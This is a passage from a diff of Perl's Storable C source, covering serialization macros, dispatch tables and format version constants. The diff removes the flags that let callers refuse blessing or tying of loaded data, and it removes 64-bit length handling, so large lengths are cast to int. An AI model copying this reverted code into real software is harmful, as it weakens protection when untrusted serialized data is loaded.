(int_aligned(mptr)) \ + *(int *) mptr = i; \ + else \ + memcpy(mptr, &i, sizeof(int)); \ + mptr += sizeof(int); \ + } STMT_END +#endif + +#define MBUF_WRITE(x,s) \ + STMT_START { \ + MBUF_CHK(s); \ + memcpy(mptr, x, s); \ + mptr += s; \ + } STMT_END /* * Possible return values for sv_type(). @@ -831,10 +715,9 @@ static stcxt_t *Context_ptr = NULL; #define svis_ARRAY 2 #define svis_HASH 3 #define svis_TIED 4 -#define svis_TIED_ITEM 5 +#define svis_TIED_ITEM 5 #define svis_CODE 6 -#define svis_REGEXP 7 -#define svis_OTHER 8 +#define svis_OTHER 7 /* * Flags for SX_HOOK. @@ -852,18 +735,18 @@ static stcxt_t *Context_ptr = NULL; * Types for SX_HOOK (last 2 bits in flags). */ -#define SHT_SCALAR 0 -#define SHT_ARRAY 1 -#define SHT_HASH 2 -#define SHT_EXTRA 3 /* Read extra byte for type */ +#define SHT_SCALAR 0 +#define SHT_ARRAY 1 +#define SHT_HASH 2 +#define SHT_EXTRA 3 /* Read extra byte for type */ /* * The following are held in the "extra byte"... */ -#define SHT_TSCALAR 4 /* 4 + 0 -- tied scalar */ -#define SHT_TARRAY 5 /* 4 + 1 -- tied array */ -#define SHT_THASH 6 /* 4 + 2 -- tied hash */ +#define SHT_TSCALAR 4 /* 4 + 0 -- tied scalar */ +#define SHT_TARRAY 5 /* 4 + 1 -- tied array */ +#define SHT_THASH 6 /* 4 + 2 -- tied hash */ /* * per hash flags for flagged hashes @@ -881,18 +764,6 @@ static stcxt_t *Context_ptr = NULL; #define SHV_K_ISSV 0x08 #define SHV_K_PLACEHOLDER 0x10 -/* - * flags to allow blessing and/or tieing data the data we load - */ -#define FLAG_BLESS_OK 2 -#define FLAG_TIE_OK 4 - -/* - * Flags for SX_REGEXP. - */ - -#define SHR_U32_RE_LEN 0x01 - /* * Before 0.6, the magic string was "perl-store" (binary version number 0). * @@ -968,20 +839,13 @@ static const char magicstr[] = "pst0"; /* Used as a magic number */ #endif #endif -#ifndef INT32_MAX -# define INT32_MAX 2147483647 -#endif -#if IVSIZE > 4 && !defined(INT64_MAX) -# define INT64_MAX 9223372036854775807LL -#endif - static const char byteorderstr[] = {BYTEORDER_BYTES, 0}; #ifdef USE_56_INTERWORK_KLUDGE static const char byteorderstr_56[] = {BYTEORDER_BYTES_56, 0}; #endif #define STORABLE_BIN_MAJOR 2 /* Binary major "version" */ -#define STORABLE_BIN_MINOR 11 /* Binary minor "version" */ +#define STORABLE_BIN_MINOR 10 /* Binary minor "version" */ #if (PATCHLEVEL <= 5) #define STORABLE_BIN_WRITE_MINOR 4 @@ -992,8 +856,7 @@ static const char byteorderstr_56[] = {BYTEORDER_BYTES_56, 0}; #define STORABLE_BIN_WRITE_MINOR 8 #elif PATCHLEVEL >= 19 /* Perl 5.19 takes away the special meaning of PL_sv_undef in arrays. */ -/* With 3.x we added LOBJECT */ -#define STORABLE_BIN_WRITE_MINOR 11 +#define STORABLE_BIN_WRITE_MINOR 10 #else #define STORABLE_BIN_WRITE_MINOR 9 #endif /* (PATCHLEVEL <= 5) */ @@ -1013,120 +876,66 @@ static const char byteorderstr_56[] = {BYTEORDER_BYTES_56, 0}; * tagnum with cxt->tagnum++ along with this macro! * - samv 20Jan04 */ -#define PUTMARK(x) \ - STMT_START { \ - if (!cxt->fio) \ - MBUF_PUTC(x); \ - else if (PerlIO_putc(cxt->fio, x) == EOF) \ - return -1; \ - } STMT_END - -#define WRITE_I32(x) \ - STMT_START { \ - ASSERT(sizeof(x) == sizeof(I32), ("writing an I32")); \ - if (!cxt->fio) \ - MBUF_PUTINT(x); \ - else if (PerlIO_write(cxt->fio, oI(&x), \ - oS(sizeof(x))) != oS(sizeof(x))) \ - return -1; \ - } STMT_END - -#define WRITE_U64(x) \ - STMT_START { \ - ASSERT(sizeof(x) == sizeof(UV), ("writing an UV")); \ - if (!cxt->fio) \ - MBUF_PUTLONG(x); \ - else if (PerlIO_write(cxt->fio, oL(&x), \ - oS(sizeof(x))) != oS(sizeof(x))) \ - return -1; \ - } STMT_END +#define PUTMARK(x) \ + STMT_START { \ + if (!cxt->fio) \ + MBUF_PUTC(x); \ + else if (PerlIO_putc(cxt->fio, x) == EOF) \ + return -1; \ + } STMT_END + +#define WRITE_I32(x) \ + STMT_START { \ + ASSERT(sizeof(x) == sizeof(I32), ("writing an I32")); \ + if (!cxt->fio) \ + MBUF_PUTINT(x); \ + else if (PerlIO_write(cxt->fio, oI(&x), oS(sizeof(x))) != oS(sizeof(x))) \ + return -1; \ + } STMT_END #ifdef HAS_HTONL -#define WLEN(x) \ - STMT_START { \ - ASSERT(sizeof(x) == sizeof(int), ("WLEN writing an int")); \ - if (cxt->netorder) { \ - int y = (int) htonl(x); \ - if (!cxt->fio) \ - MBUF_PUTINT(y); \ - else if (PerlIO_write(cxt->fio,oI(&y),oS(sizeof(y))) != oS(sizeof(y))) \ - return -1; \ - } else { \ - if (!cxt->fio) \ - MBUF_PUTINT(x); \ - else if (PerlIO_write(cxt->fio,oI(&x), \ - oS(sizeof(x))) != oS(sizeof(x))) \ - return -1; \ - } \ - } STMT_END - -# ifdef HAS_U64 - -#define W64LEN(x) \ - STMT_START { \ - ASSERT(sizeof(x) == 8, ("W64LEN writing a U64")); \ - if (cxt->netorder) { \ - U32 buf[2]; \ - buf[1] = htonl(x & 0xffffffffUL); \ - buf[0] = htonl(x >> 32); \ - if (!cxt->fio) \ - MBUF_PUTLONG(buf); \ - else if (PerlIO_write(cxt->fio, buf, \ - sizeof(buf)) != sizeof(buf)) \ - return -1; \ - } else { \ - if (!cxt->fio) \ - MBUF_PUTLONG(x); \ - else if (PerlIO_write(cxt->fio,oI(&x), \ - oS(sizeof(x))) != oS(sizeof(x))) \ - return -1; \ - } \ - } STMT_END - -# else - -#define W64LEN(x) CROAK(("No 64bit UVs")) - -# endif - +#define WLEN(x) \ + STMT_START { \ + ASSERT(sizeof(x) == sizeof(int), ("WLEN writing an int")); \ + if (cxt->netorder) { \ + int y = (int) htonl(x); \ + if (!cxt->fio) \ + MBUF_PUTINT(y); \ + else if (PerlIO_write(cxt->fio,oI(&y),oS(sizeof(y))) != oS(sizeof(y))) \ + return -1; \ + } else { \ + if (!cxt->fio) \ + MBUF_PUTINT(x); \ + else if (PerlIO_write(cxt->fio,oI(&x),oS(sizeof(x))) != oS(sizeof(x))) \ + return -1; \ + } \ + } STMT_END #else #define WLEN(x) WRITE_I32(x) -#ifdef HAS_U64 -#define W64LEN(x) WRITE_U64(x) -#else -#define W64LEN(x) CROAK(("no 64bit UVs")) -#endif #endif #define WRITE(x,y) \ - STMT_START { \ - if (!cxt->fio) \ - MBUF_WRITE(x,y); \ - else if (PerlIO_write(cxt->fio, x, y) != (SSize_t)y) \ - return -1; \ - } STMT_END + STMT_START { \ + if (!cxt->fio) \ + MBUF_WRITE(x,y); \ + else if (PerlIO_write(cxt->fio, x, y) != y) \ + return -1; \ + } STMT_END #define STORE_PV_LEN(pv, len, small, large) \ - STMT_START { \ - if (len <= LG_SCALAR) { \ - int ilen = (int) len; \ - unsigned char clen = (unsigned char) len; \ - PUTMARK(small); \ - PUTMARK(clen); \ - if (len) \ - WRITE(pv, ilen); \ - } else if (sizeof(len) > 4 && len > INT32_MAX) { \ - PUTMARK(SX_LOBJECT); \ - PUTMARK(large); \ - W64LEN(len); \ - WRITE(pv, len); \ - } else { \ - int ilen = (int) len; \ - PUTMARK(large); \ - WLEN(ilen); \ - WRITE(pv, ilen); \ - } \ - } STMT_END + STMT_START { \ + if (len <= LG_SCALAR) { \ + unsigned char clen = (unsigned char) len; \ + PUTMARK(small); \ + PUTMARK(clen); \ + if (len) \ + WRITE(pv, len); \ + } else { \ + PUTMARK(large); \ + WLEN(len); \ + WRITE(pv, len); \ + } \ + } STMT_END #define STORE_SCALAR(pv, len) STORE_PV_LEN(pv, len, SX_SCALAR, SX_LSCALAR) @@ -1136,109 +945,78 @@ static const char byteorderstr_56[] = {BYTEORDER_BYTES_56, 0}; * reasons. */ #define STORE_SV_UNDEF() \ - STMT_START { \ + STMT_START { \ cxt->tagnum++; \ PUTMARK(SX_SV_UNDEF); \ - } STMT_END + } STMT_END /* * Useful retrieve shortcuts... */ #define GETCHAR() \ - (cxt->fio ? PerlIO_getc(cxt->fio) \ - : (mptr >= mend ? EOF : (int) *mptr++)) - -#define GETMARK(x) \ - STMT_START { \ - if (!cxt->fio) \ - MBUF_GETC(x); \ - else if ((int) (x = PerlIO_getc(cxt->fio)) == EOF) \ - return (SV *) 0; \ - } STMT_END - -#define READ_I32(x) \ - STMT_START { \ - ASSERT(sizeof(x) == sizeof(I32), ("reading an I32")); \ - oC(x); \ - if (!cxt->fio) \ - MBUF_GETINT(x); \ - else if (PerlIO_read(cxt->fio, oI(&x), \ - oS(sizeof(x))) != oS(sizeof(x))) \ - return (SV *) 0; \ - } STMT_END + (cxt->fio ? PerlIO_getc(cxt->fio) : (mptr >= mend ? EOF : (int) *mptr++)) + +#define GETMARK(x) \ + STMT_START { \ + if (!cxt->fio) \ + MBUF_GETC(x); \ + else if ((int) (x = PerlIO_getc(cxt->fio)) == EOF) \ + return (SV *) 0; \ + } STMT_END + +#define READ_I32(x) \ + STMT_START { \ + ASSERT(sizeof(x) == sizeof(I32), ("reading an I32")); \ + oC(x); \ + if (!cxt->fio) \ + MBUF_GETINT(x); \ + else if (PerlIO_read(cxt->fio, oI(&x), oS(sizeof(x))) != oS(sizeof(x))) \ + return (SV *) 0; \ + } STMT_END #ifdef HAS_NTOHL -#define RLEN(x) \ - STMT_START { \ - oC(x); \ - if (!cxt->fio) \ - MBUF_GETINT(x); \ - else if (PerlIO_read(cxt->fio, oI(&x), \ - oS(sizeof(x))) != oS(sizeof(x))) \ - return (SV *) 0; \ - if (cxt->netorder) \ - x = (int) ntohl(x); \ - } STMT_END +#define RLEN(x) \ + STMT_START { \ + oC(x); \ + if (!cxt->fio) \ + MBUF_GETINT(x); \ + else if (PerlIO_read(cxt->fio, oI(&x), oS(sizeof(x))) != oS(sizeof(x))) \ + return (SV *) 0; \ + if (cxt->netorder) \ + x = (int) ntohl(x); \ + } STMT_END #else #define RLEN(x) READ_I32(x) #endif #define READ(x,y) \ - STMT_START { \ + STMT_START { \ if (!cxt->fio) \ - MBUF_READ(x, y); \ - else if (PerlIO_read(cxt->fio, x, y) != (SSize_t)y) \ - return (SV *) 0; \ - } STMT_END - -#define SAFEREAD(x,y,z) \ - STMT_START { \ - if (!cxt->fio) \ - MBUF_SAFEREAD(x,y,z); \ - else if (PerlIO_read(cxt->fio, x, y) != (SSize_t)y) { \ - sv_free(z); \ - return (SV *) 0; \ - } \ - } STMT_END + MBUF_READ(x, y); \ + else if (PerlIO_read(cxt->fio, x, y) != y) \ + return (SV *) 0; \ + } STMT_END + +#define SAFEREAD(x,y,z) \ + STMT_START { \ + if (!cxt->fio) \ + MBUF_SAFEREAD(x,y,z); \ + else if (PerlIO_read(cxt->fio, x, y) != y) { \ + sv_free(z); \ + return (SV *) 0; \ + } \ + } STMT_END #define SAFEPVREAD(x,y,z) \ - STMT_START { \ - if (!cxt->fio) \ - MBUF_SAFEPVREAD(x,y,z); \ - else if (PerlIO_read(cxt->fio, x, y) != y) { \ - Safefree(z); \ - return (SV *) 0; \ - } \ - } STMT_END - -#ifdef HAS_U64 - -# if defined(HAS_NTOHL) -# define Sntohl(x) ntohl(x) -# elif BYTEORDER == 0x87654321 || BYTEORDER == 0x4321 -# define Sntohl(x) (x) -# else -static U32 Sntohl(U32 x) { - return ((x & 0xFF) << 24) + ((x * 0xFF00) << 8) - + ((x & 0xFF0000) >> 8) + ((x & 0xFF000000) >> 24); -} -# endif - -# define READ_U64(x) \ - STMT_START { \ - ASSERT(sizeof(x) == 8, ("R64LEN reading a U64")); \ - if (cxt->netorder) { \ - U32 buf[2]; \ - READ((void *)buf, sizeof(buf)); \ - (x) = ((UV)Sntohl(buf[0]) << 32) + Sntohl(buf[1]); \ - } \ - else { \ - READ(&(x), sizeof(x)); \ - } \ - } STMT_END - -#endif + STMT_START { \ + if (!cxt->fio) \ + MBUF_SAFEPVREAD(x,y,z); \ + else if (PerlIO_read(cxt->fio, x, y) != y) { \ + Safefree(z); \ + return (SV *) 0; \ + } \ + } STMT_END /* * SEEN() is used at retrieve time, to remember where object 'y', bearing a @@ -1264,35 +1042,33 @@ static U32 Sntohl(U32 x) { * * The _NN variants dont check for y being null */ -#define SEEN0_NN(y,i) \ +#define SEEN0_NN(y,i) \ STMT_START { \ - if (av_store(cxt->aseen, cxt->tagnum++, i ? (SV*)(y) \ - : SvREFCNT_inc(y)) == 0) \ - return (SV *) 0; \ - TRACEME(("aseen(#%d) = 0x%" UVxf " (refcnt=%d)", \ - (int)cxt->tagnum-1, \ - PTR2UV(y), (int)SvREFCNT(y)-1)); \ + if (av_store(cxt->aseen, cxt->tagnum++, i ? (SV*)(y) : SvREFCNT_inc(y)) == 0) \ + return (SV *) 0; \ + TRACEME(("aseen(#%d) = 0x%" UVxf " (refcnt=%d)", cxt->tagnum-1, \ + PTR2UV(y), SvREFCNT(y)-1)); \ } STMT_END -#define SEEN0(y,i) \ +#define SEEN0(y,i) \ STMT_START { \ - if (!y) \ - return (SV *) 0; \ - SEEN0_NN(y,i); \ + if (!y) \ + return (SV *) 0; \ + SEEN0_NN(y,i) \ } STMT_END -#define SEEN_NN(y,stash,i) \ +#define SEEN_NN(y,stash,i) \ STMT_START { \ - SEEN0_NN(y,i); \ - if (stash) \ - BLESS((SV *)(y), (HV *)(stash)); \ + SEEN0_NN(y,i); \ + if (stash) \ + BLESS((SV *) (y), (HV *)(stash)); \ } STMT_END -#define SEEN(y,stash,i) \ - STMT_START { \ - if (!y) \ - return (SV *) 0; \ - SEEN_NN(y,stash, i); \ +#define SEEN(y,stash,i) \ + STMT_START { \ + if (!y) \ + return (SV *) 0; \ + SEEN_NN(y,stash, i); \ } STMT_END /* @@ -1300,26 +1076,20 @@ static U32 Sntohl(U32 x) { * "A" magic is added before the sv_bless for overloaded classes, this avoids * an expensive call to S_reset_amagic in sv_bless. */ -#define BLESS(s,stash) \ - STMT_START { \ - SV *ref; \ - if (cxt->flags & FLAG_BLESS_OK) { \ - TRACEME(("blessing 0x%" UVxf " in %s", PTR2UV(s), \ - HvNAME_get(stash))); \ - ref = newRV_noinc(s); \ - if (cxt->in_retrieve_overloaded && Gv_AMG(stash)) { \ - cxt->in_retrieve_overloaded = 0; \ - SvAMAGIC_on(ref); \ - } \ - (void) sv_bless(ref, stash); \ - SvRV_set(ref, NULL); \ - SvREFCNT_dec(ref); \ - } \ - else { \ - TRACEME(("not blessing 0x%" UVxf " in %s", PTR2UV(s), \ - (HvNAME_get(stash)))); \ - } \ - } STMT_END +#define BLESS(s,stash) \ + STMT_START { \ + SV *ref; \ + TRACEME(("blessing 0x%" UVxf " in %s", PTR2UV(s), (HvNAME_get(stash))));\ + ref = newRV_noinc(s); \ + if (cxt->in_retrieve_overloaded && Gv_AMG(stash)) \ + { \ + cxt->in_retrieve_overloaded = 0; \ + SvAMAGIC_on(ref); \ + } \ + (void) sv_bless(ref, stash); \ + SvRV_set(ref, NULL); \ + SvREFCNT_dec(ref); \ + } STMT_END /* * sort (used in store_hash) - conditionally use qsort when * sortsv is not available ( <= 5.6.1 ). @@ -1329,36 +1099,36 @@ static U32 Sntohl(U32 x) { #if defined(USE_ITHREADS) -#define STORE_HASH_SORT \ - ENTER; { \ - PerlInterpreter *orig_perl = PERL_GET_CONTEXT; \ - SAVESPTR(orig_perl); \ - PERL_SET_CONTEXT(aTHX); \ - qsort((char *) AvARRAY(av), len, sizeof(SV *), sortcmp);\ - } LEAVE; +#define STORE_HASH_SORT \ + ENTER; { \ + PerlInterpreter *orig_perl = PERL_GET_CONTEXT; \ + SAVESPTR(orig_perl); \ + PERL_SET_CONTEXT(aTHX); \ + qsort((char *) AvARRAY(av), len, sizeof(SV *), sortcmp); \ + } LEAVE; #else /* ! USE_ITHREADS */ -#define STORE_HASH_SORT \ - qsort((char *) AvARRAY(av), len, sizeof(SV *), sortcmp); +#define STORE_HASH_SORT \ + qsort((char *) AvARRAY(av), len, sizeof(SV *), sortcmp); #endif /* USE_ITHREADS */ #else /* PATCHLEVEL > 6 */ #define STORE_HASH_SORT \ - sortsv(AvARRAY(av), len, Perl_sv_cmp); + sortsv(AvARRAY(av), len, Perl_sv_cmp); #endif /* PATCHLEVEL <= 6 */ static int store(pTHX_ stcxt_t *cxt, SV *sv); static SV *retrieve(pTHX_ stcxt_t *cxt, const char *cname); -#define UNSEE() \ - STMT_START { \ - av_pop(cxt->aseen); \ - cxt->tagnum--; \ - } STMT_END +#define UNSEE() \ + STMT_START { \ + av_pop(cxt->aseen); \ + cxt->tagnum--; \ + } STMT_END /* * Dynamic dispatching table for SV store. @@ -1371,22 +1141,20 @@ static int store_hash(pTHX_ stcxt_t *cxt, HV *hv); static int store_tied(pTHX_ stcxt_t *cxt, SV *sv); static int store_tied_item(pTHX_ stcxt_t *cxt, SV *sv); static int store_code(pTHX_ stcxt_t *cxt, CV *cv); -static int store_regexp(pTHX_ stcxt_t *cxt, SV *sv); static int store_other(pTHX_ stcxt_t *cxt, SV *sv); static int store_blessed(pTHX_ stcxt_t *cxt, SV *sv, int type, HV *pkg); typedef int (*sv_store_t)(pTHX_ stcxt_t *cxt, SV *sv); static const sv_store_t sv_store[] = { - (sv_store_t)store_ref, /* svis_REF */ - (sv_store_t)store_scalar, /* svis_SCALAR */ - (sv_store_t)store_array, /* svis_ARRAY */ - (sv_store_t)store_hash, /* svis_HASH */ - (sv_store_t)store_tied, /* svis_TIED */ - (sv_store_t)store_tied_item,/* svis_TIED_ITEM */ - (sv_store_t)store_code, /* svis_CODE */ - (sv_store_t)store_regexp, /* svis_REGEXP */ - (sv_store_t)store_other, /* svis_OTHER */ + (sv_store_t)store_ref, /* svis_REF */ + (sv_store_t)store_scalar, /* svis_SCALAR */ + (sv_store_t)store_array, /* svis_ARRAY */ + (sv_store_t)store_hash, /* svis_HASH */ + (sv_store_t)store_tied, /* svis_TIED */ + (sv_store_t)store_tied_item, /* svis_TIED_ITEM */ + (sv_store_t)store_code, /* svis_CODE */ + (sv_store_t)store_other, /* svis_OTHER */ }; #define SV_STORE(x) (*sv_store[x]) @@ -1411,61 +1179,45 @@ static SV *retrieve_tied_array(pTHX_ stcxt_t *cxt, const char *cname); static SV *retrieve_tied_hash(pTHX_ stcxt_t *cxt, const char *cname); static SV *retrieve_tied_scalar(pTHX_ stcxt_t *cxt, const char *cname); static SV *retrieve_other(pTHX_ stcxt_t *cxt, const char *cname); -static SV *retrieve_lobject(pTHX_ stcxt_t *cxt, const char *cname); -static SV *retrieve_regexp(pTHX_ stcxt_t *cxt, const char *cname); - -/* helpers for U64 lobjects */ - -static SV *get_lstring(pTHX_ stcxt_t *cxt, UV len, int isutf8, const char *cname); -#ifdef HAS_U64 -static SV *get_larray(pTHX_ stcxt_t *cxt, UV len, const char *cname); -static SV *get_lhash(pTHX_ stcxt_t *cxt, UV len, int hash_flags, const char *cname); -static int store_lhash(pTHX_ stcxt_t *cxt, HV *hv, unsigned char hash_flags); -#endif -static int store_hentry(pTHX_ stcxt_t *cxt, HV* hv, UV i, HE *he, unsigned char hash_flags); typedef SV* (*sv_retrieve_t)(pTHX_ stcxt_t *cxt, const char *name); static const sv_retrieve_t sv_old_retrieve[] = { - 0, /* SX_OBJECT -- entry unused dynamically */ - (sv_retrieve_t)retrieve_lscalar, /* SX_LSCALAR */ - (sv_retrieve_t)old_retrieve_array, /* SX_ARRAY -- for pre-0.6 binaries */ - (sv_retrieve_t)old_retrieve_hash, /* SX_HASH -- for pre-0.6 binaries */ - (sv_retrieve_t)retrieve_ref, /* SX_REF */ - (sv_retrieve_t)retrieve_undef, /* SX_UNDEF */ - (sv_retrieve_t)retrieve_integer, /* SX_INTEGER */ - (sv_retrieve_t)retrieve_double, /* SX_DOUBLE */ - (sv_retrieve_t)retrieve_byte, /* SX_BYTE */ - (sv_retrieve_t)retrieve_netint, /* SX_NETINT */ - (sv_retrieve_t)retrieve_scalar, /* SX_SCALAR */ - (sv_retrieve_t)retrieve_tied_array, /* SX_TIED_ARRAY */ - (sv_retrieve_t)retrieve_tied_hash, /* SX_TIED_HASH */ - (sv_retrieve_t)retrieve_tied_scalar,/* SX_TIED_SCALAR */ - (sv_retrieve_t)retrieve_other, /* SX_SV_UNDEF not supported */ - (sv_retrieve_t)retrieve_other, /* SX_SV_YES not supported */ - (sv_retrieve_t)retrieve_other, /* SX_SV_NO not supported */ - (sv_retrieve_t)retrieve_other, /* SX_BLESS not supported */ - (sv_retrieve_t)retrieve_other, /* SX_IX_BLESS not supported */ - (sv_retrieve_t)retrieve_other, /* SX_HOOK not supported */ - (sv_retrieve_t)retrieve_other, /* SX_OVERLOADED not supported */ - (sv_retrieve_t)retrieve_other, /* SX_TIED_KEY not supported */ - (sv_retrieve_t)retrieve_other, /* SX_TIED_IDX not supported */ - (sv_retrieve_t)retrieve_other, /* SX_UTF8STR not supported */ - (sv_retrieve_t)retrieve_other, /* SX_LUTF8STR not supported */ - (sv_retrieve_t)retrieve_other, /* SX_FLAG_HASH not supported */ - (sv_retrieve_t)retrieve_other, /* SX_CODE not supported */ - (sv_retrieve_t)retrieve_other, /* SX_WEAKREF not supported */ - (sv_retrieve_t)retrieve_other, /* SX_WEAKOVERLOAD not supported */ - (sv_retrieve_t)retrieve_other, /* SX_VSTRING not supported */ - (sv_retrieve_t)retrieve_other, /* SX_LVSTRING not supported */ - (sv_retrieve_t)retrieve_other, /* SX_SVUNDEF_ELEM not supported */ - (sv_retrieve_t)retrieve_other, /* SX_REGEXP */ - (sv_retrieve_t)retrieve_other, /* SX_LOBJECT not supported */ - (sv_retrieve_t)retrieve_other, /* SX_LAST */ + 0, /* SX_OBJECT -- entry unused dynamically */ + (sv_retrieve_t)retrieve_lscalar, /* SX_LSCALAR */ + (sv_retrieve_t)old_retrieve_array, /* SX_ARRAY -- for pre-0.6 binaries */ + (sv_retrieve_t)old_retrieve_hash, /* SX_HASH -- for pre-0.6 binaries */ + (sv_retrieve_t)retrieve_ref, /* SX_REF */ + (sv_retrieve_t)retrieve_undef, /* SX_UNDEF */ + (sv_retrieve_t)retrieve_integer, /* SX_INTEGER */ + (sv_retrieve_t)retrieve_double, /* SX_DOUBLE */ + (sv_retrieve_t)retrieve_byte, /* SX_BYTE */ + (sv_retrieve_t)retrieve_netint, /* SX_NETINT */ + (sv_retrieve_t)retrieve_scalar, /* SX_SCALAR */ + (sv_retrieve_t)retrieve_tied_array, /* SX_TIED_ARRAY */ + (sv_retrieve_t)retrieve_tied_hash, /* SX_TIED_HASH */ + (sv_retrieve_t)retrieve_tied_scalar, /* SX_TIED_SCALAR */ + (sv_retrieve_t)retrieve_other, /* SX_SV_UNDEF not supported */ + (sv_retrieve_t)retrieve_other, /* SX_SV_YES not supported */ + (sv_retrieve_t)retrieve_other, /* SX_SV_NO not supported */ + (sv_retrieve_t)retrieve_other, /* SX_BLESS not supported */ + (sv_retrieve_t)retrieve_other, /* SX_IX_BLESS not supported */ + (sv_retrieve_t)retrieve_other, /* SX_HOOK not supported */ + (sv_retrieve_t)retrieve_other, /* SX_OVERLOADED not supported */ + (sv_retrieve_t)retrieve_other, /* SX_TIED_KEY not supported */ + (sv_retrieve_t)retrieve_other, /* SX_TIED_IDX not supported */ + (sv_retrieve_t)retrieve_other, /* SX_UTF8STR not supported */ + (sv_retrieve_t)retrieve_other, /* SX_LUTF8STR not supported */ + (sv_retrieve_t)retrieve_other, /* SX_FLAG_HASH not supported */ + (sv_retrieve_t)retrieve_other, /* SX_CODE not supported */ + (sv_retrieve_t)retrieve_other, /* SX_WEAKREF not supported */ + (sv_retrieve_t)retrieve_other, /* SX_WEAKOVERLOAD not supported */ + (sv_retrieve_t)retrieve_other, /* SX_VSTRING not supported */ + (sv_retrieve_t)retrieve_other, /* SX_LVSTRING not supported */ + (sv_retrieve_t)retrieve_other, /* SX_SVUNDEF_ELEM not supported */ + (sv_retrieve_t)retrieve_other, /* SX_ERROR */ }; -static SV *retrieve_hook_common(pTHX_ stcxt_t *cxt, const char *cname, int large); - static SV *retrieve_array(pTHX_ stcxt_t *cxt, const char *cname); static SV *retrieve_hash(pTHX_ stcxt_t *cxt, const char *cname); static SV *retrieve_sv_undef(pTHX_ stcxt_t *cxt, const char *cname); @@ -1486,44 +1238,42 @@ static SV *retrieve_lvstring(pTHX_ stcxt_t *cxt, const char *cname); static SV *retrieve_svundef_elem(pTHX_ stcxt_t *cxt, const char *cname); static const sv_retrieve_t sv_retrieve[] = { - 0, /* SX_OBJECT -- entry unused dynamically */ - (sv_retrieve_t)retrieve_lscalar, /* SX_LSCALAR */ - (sv_retrieve_t)retrieve_array, /* SX_ARRAY */ - (sv_retrieve_t)retrieve_hash, /* SX_HASH */ - (sv_retrieve_t)retrieve_ref, /* SX_REF */ - (sv_retrieve_t)retrieve_undef, /* SX_UNDEF */ - (sv_retrieve_t)retrieve_integer, /* SX_INTEGER */ - (sv_retrieve_t)retrieve_double, /* SX_DOUBLE */ - (sv_retrieve_t)retrieve_byte, /* SX_BYTE */ - (sv_retrieve_t)retrieve_netint, /* SX_NETINT */ - (sv_retrieve_t)retrieve_scalar, /* SX_SCALAR */ - (sv_retrieve_t)retrieve_tied_array, /* SX_TIED_ARRAY */ - (sv_retrieve_t)retrieve_tied_hash, /* SX_TIED_HASH */ - (sv_retrieve_t)retrieve_tied_scalar,/* SX_TIED_SCALAR */ - (sv_retrieve_t)retrieve_sv_undef, /* SX_SV_UNDEF */ - (sv_retrieve_t)retrieve_sv_yes, /* SX_SV_YES */ - (sv_retrieve_t)retrieve_sv_no, /* SX_SV_NO */ - (sv_retrieve_t)retrieve_blessed, /* SX_BLESS */ - (sv_retrieve_t)retrieve_idx_blessed,/* SX_IX_BLESS */ - (sv_retrieve_t)retrieve_hook, /* SX_HOOK */ - (sv_retrieve_t)retrieve_overloaded, /* SX_OVERLOAD */ - (sv_retrieve_t)retrieve_tied_key, /* SX_TIED_KEY */ - (sv_retrieve_t)retrieve_tied_idx, /* SX_TIED_IDX */ - (sv_retrieve_t)retrieve_utf8str, /* SX_UTF8STR */ - (sv_retrieve_t)retrieve_lutf8str, /* SX_LUTF8STR */ - (sv_retrieve_t)retrieve_flag_hash, /* SX_HASH */ - (sv_retrieve_t)retrieve_code, /* SX_CODE */ - (sv_retrieve_t)retrieve_weakref, /* SX_WEAKREF */ - (sv_retrieve_t)retrieve_weakoverloaded,/* SX_WEAKOVERLOAD */ - (sv_retrieve_t)retrieve_vstring, /* SX_VSTRING */ - (sv_retrieve_t)retrieve_lvstring, /* SX_LVSTRING */ - (sv_retrieve_t)retrieve_svundef_elem,/* SX_SVUNDEF_ELEM */ - (sv_retrieve_t)retrieve_regexp, /* SX_REGEXP */ - (sv_retrieve_t)retrieve_lobject, /* SX_LOBJECT */ - (sv_retrieve_t)retrieve_other, /* SX_LAST */ + 0, /* SX_OBJECT -- entry unused dynamically */ + (sv_retrieve_t)retrieve_lscalar, /* SX_LSCALAR */ + (sv_retrieve_t)retrieve_array, /* SX_ARRAY */ + (sv_retrieve_t)retrieve_hash, /* SX_HASH */ + (sv_retrieve_t)retrieve_ref, /* SX_REF */ + (sv_retrieve_t)retrieve_undef, /* SX_UNDEF */ + (sv_retrieve_t)retrieve_integer, /* SX_INTEGER */ + (sv_retrieve_t)retrieve_double, /* SX_DOUBLE */ + (sv_retrieve_t)retrieve_byte, /* SX_BYTE */ + (sv_retrieve_t)retrieve_netint, /* SX_NETINT */ + (sv_retrieve_t)retrieve_scalar, /* SX_SCALAR */ + (sv_retrieve_t)retrieve_tied_array, /* SX_TIED_ARRAY */ + (sv_retrieve_t)retrieve_tied_hash, /* SX_TIED_HASH */ + (sv_retrieve_t)retrieve_tied_scalar, /* SX_TIED_SCALAR */ + (sv_retrieve_t)retrieve_sv_undef, /* SX_SV_UNDEF */ + (sv_retrieve_t)retrieve_sv_yes, /* SX_SV_YES */ + (sv_retrieve_t)retrieve_sv_no, /* SX_SV_NO */ + (sv_retrieve_t)retrieve_blessed, /* SX_BLESS */ + (sv_retrieve_t)retrieve_idx_blessed, /* SX_IX_BLESS */ + (sv_retrieve_t)retrieve_hook, /* SX_HOOK */ + (sv_retrieve_t)retrieve_overloaded, /* SX_OVERLOAD */ + (sv_retrieve_t)retrieve_tied_key, /* SX_TIED_KEY */ + (sv_retrieve_t)retrieve_tied_idx, /* SX_TIED_IDX */ + (sv_retrieve_t)retrieve_utf8str, /* SX_UTF8STR */ + (sv_retrieve_t)retrieve_lutf8str, /* SX_LUTF8STR */ + (sv_retrieve_t)retrieve_flag_hash, /* SX_HASH */ + (sv_retrieve_t)retrieve_code, /* SX_CODE */ + (sv_retrieve_t)retrieve_weakref, /* SX_WEAKREF */ + (sv_retrieve_t)retrieve_weakoverloaded, /* SX_WEAKOVERLOAD */ + (sv_retrieve_t)retrieve_vstring, /* SX_VSTRING */ + (sv_retrieve_t)retrieve_lvstring, /* SX_LVSTRING */ + (sv_retrieve_t)retrieve_svundef_elem, /* SX_SVUNDEF_ELEM */ + (sv_retrieve_t)retrieve_other, /* SX_ERROR */ }; -#define RETRIEVE(c,x) ((x) >= SX_LAST ? retrieve_other : *(c)->retrieve_vtbl[x]) +#define RETRIEVE(c,x) (*(c)->retrieve_vtbl[(x) >= SX_ERROR ? SX_ERROR : (x)]) static SV *mbuf2sv(pTHX); @@ -1539,7 +1289,7 @@ static SV *mbuf2sv(pTHX); static void init_perinterp(pTHX) { INIT_STCXT; - INIT_TRACEME; + cxt->netorder = 0; /* true if network order used */ cxt->forgive_me 